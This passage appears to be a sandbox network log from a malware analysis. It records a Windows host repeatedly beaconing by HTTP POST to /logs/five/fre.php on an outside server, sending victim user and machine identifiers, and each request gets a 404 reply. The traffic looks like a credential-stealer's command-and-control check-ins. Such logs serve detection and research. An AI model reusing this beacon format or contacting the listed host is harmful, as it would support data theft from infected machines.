Oct 25, 2024 19:48:07.334769964 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:07.340178967 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:08.669107914 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.22	49207	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:09.123164892 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:09.129652977 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:10.268475056 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.22	49208	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:10.443662882 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:10.449357033 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:11.421061993 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.22	49209	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:11.569447041 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:11.574920893 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:12.553123951 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.22	49210	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:12.697062016 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:12.702425957 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:13.654674053 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.22	49211	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:13.809106112 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:13.818337917 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:14.801906109 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.22	49212	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:14.984744072 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:14.990331888 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:15.954833031 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.22	49213	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:16.106260061 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:16.113459110 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:17.113326073 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.22	49214	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:17.269534111 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:17.275373936 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:18.230662107 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.22	49215	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:18.369795084 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:18.375204086 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:19.339241028 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.22	49216	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:20.408674002 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:20.414608002 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:21.515258074 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.22	49217	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:21.656358004 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:21.661834955 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:22.612807035 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.22	49218	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:22.759176970 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:22.764765978 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:23.747648001 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.22	49219	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:23.894750118 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:23.900245905 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:25.267482042 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.22	49220	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:25.462321997 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:25.468506098 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:26.475939989 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.22	49221	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:26.630209923 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:26.635806084 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:27.601511955 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.22	49222	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:27.754146099 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:27.759680986 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:28.904400110 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.22	49223	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:29.510840893 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:29.516388893 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:30.482635021 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.22	49224	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:30.627878904 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:30.633389950 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:31.609421968 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.22	49225	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:32.203506947 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:32.209099054 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:33.510173082 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.22	49226	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:33.656611919 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:33.662009001 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:34.643122911 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.22	49227	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:34.901361942 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:34.906883955 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
